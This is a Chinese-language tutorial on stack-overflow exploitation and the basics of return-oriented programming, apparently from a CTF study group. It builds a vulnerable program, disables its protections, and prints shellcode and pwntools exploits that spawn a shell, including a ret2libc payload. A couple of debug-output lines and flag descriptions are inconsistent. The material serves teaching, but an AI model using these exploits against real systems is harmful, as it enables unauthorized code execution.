序
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。虽然现在大家都在用64位的操作系统,但是想要扎实的学好ROP还是得从基础的x86系统开始,但看官请不要着急,在随后的教程中我们还会带来linux_x64以及android (arm)方面的ROP利用方法。
1 Control Flow Hijack 程序流劫持
比较常见的程序流劫持就是栈溢出,格式化字符串攻击和堆溢出了。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御者也提出了各种防御方法,最常见的方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等。但是如果上来就部署全部的防御,初学者可能会觉得无从下手,所以我们先从最简单的没有任何保护的程序开始,随后再一步步增加各种防御措施,接着再学习绕过的方法,循序渐进。
首先来看这个有明显缓冲区溢出的程序:
//level1.c
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
1.1 关闭DEP和Stack Protector
这里我们用
gcc -fno-stack-protector -z execstack -o level1 level1.c
这个命令编译程序。-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。
1.2 关闭ASLR保护
同时我们在shell中执行:
echo 0 > /proc/sys/kernel/randomize_va_space
这几个指令。执行完后我们就关掉整个linux系统的ASLR保护。接下来我们开始对目标程序进行分析。
1.3 确定溢出点的位置
首先我们先来确定溢出点的位置,这里我推荐使用pattern.py这个脚本来进行计算。
1.3.1生成字符串
我们使用如下命令:来生成一串测试用的150个字节的字符串:
python pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
1.3.2 寻找内存出错地址
随后我们使用gdb ./level1调试程序。
gdb ./level1
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/level1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()
1.3.3 确定溢出点大小
可以得到内存出错的地址为0x37654136。随后我们使用命令:
python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140
就可以非常容易的计算出PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了。
1.4 生成shellcode
接下来我们需要一段shellcode,可以用msf生成,或者自己反编译一下。
#!c
# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
这里我们使用一段最简单的执行execve ("/bin/sh")命令的语句作为shellcode。
溢出点有了,shellcode有了,下一步就是控制PC跳转到shellcode的地址上:
[shellcode][“AAAAAAAAAAAAAA”….][ret]
^------------------------------------------------|
1.4 寻找shellcode的注入地址
对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢?
最简单的方法就是开启core dump这个功能。
1.4.1 生成core记录文件
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。
1.4.2 查找buf真实地址
$./level1
ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
$ gdb level1 /tmp/core.1433844471
Core was generated by `./level1'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x/10s $esp-144
0xbffff290: "ABCD", 'A' <repeats 153 times>, "\n\374\267`\204\004\b"
0xbffff335: ""
因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。通过gdb的命令 “x/10s $esp-144”,我们可以得到buf的地址为0xbffff290。
1.5 编写exp并执行
OK,现在溢出点,shellcode和返回值地址都有了,可以开始写exp了。写exp的话,我强烈推荐pwntools这个工具,因为它可以非常方便的做到本地调试和远程攻击的转换。本地测试成功后只需要简单的修改一条语句就可以马上进行远程攻击。
#!bash
p = process('./level1') #本地测试
p = remote('127.0.0.1',10001) #远程攻击
最终本地测试代码如下:
#!python
#!/usr/bin/env python
from pwn import *
p = process('./level1')
ret = 0xbffff290
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
# p32(ret) == struct.pack("<I",ret)
#对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload) #发送payload
p.interactive() #开启交互shell
执行exp:
$ python exp1.py
[+] Started program './level1'
[*] Switching to interactive mode
$ whoami
root
2 Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护
2.1 打开DEP
现在我们把DEP打开,依然关闭stack protector和ASLR。编译方法如下:
gcc -fno-stack-protector -o level2 level2.c
这时候我们如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,你会发现level1的stack是rwx的,但是level2的stack却是rw的。
level1: bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
level2: bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]
2.2 找到system()和"/bin/sh"
那么如何执行shellcode呢?我们知道level2调用了libc.so并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。
如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。那么接下来我们就来找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。如果使用peda话,search的命令需要改一下.
先找到system地址:
$ gdb ./level2
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
….
(gdb) break main
Breakpoint 1 at 0x8048430
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/level2
Breakpoint 1, 0x08048430 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7e5f460 <system>
使用gdb找"/bin/sh":
(gdb) find 0xb7e393f0, +2200000, "/bin/sh"
0xb7f81ff8
warning: Unable to access target memory at 0xb7fc8500, halting search.
1 pattern found.
(gdb) x/s 0xb7f81ff8
0xb7f81ff8: "/bin/sh"
或者使用gdb-peda找到"/bin/sh":
gdb-peda$ searchmem "/bin/sh" 0xf7e07000 0xf7fb8000
Searching for '/bin/sh' in range: 0xf7e07000 - 0xf7fb8000
Found 1 results, display max 1 items:
libc : 0xf7f6002b ("/bin/sh")
使用gdb-peda找"/bin/sh"时,需要先找起始地址和结束地址,可以使用
cat /proc/{pid}/maps
查看一下libc的起始地址(f7e07000)和结束地址(f7fb8000 )
f7e07000-f7fb4000 r-xp 00000000 08:01 914180 /lib32/libc-2.23.so
f7fb4000-f7fb5000 ---p 001ad000 08:01 914180 /lib32/libc-2.23.so
f7fb5000-f7fb7000 r--p 001ad000 08:01 914180 /lib32/libc-2.23.so
f7fb7000-f7fb8000 rw-p 001af000 08:01 914180 /lib32/libc-2.23.so
其上的{pid}
可以用ps
查看pid码。
2.3 编写exp并执行
我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xb7e5f460以及”/bin/sh”的地址0xb7f81ff8。下面我们开始写exp:
#!python
#!/usr/bin/env python
from pwn import *
p = process('./level2')
#p = remote('127.0.0.1',10002)
ret = 0xdeadbeef
systemaddr=0xb7e5f460
binshaddr=0xb7f81ff8
payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
p.send(payload)
p.interactive()
要注意的是system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个0xdeadbeef作为返回地址。下面我们测试一下exp:
$ python exp2.py
[+] Started program './level2'
[*] Switching to interactive mode
$ whoami
mzheng
OK。测试成功。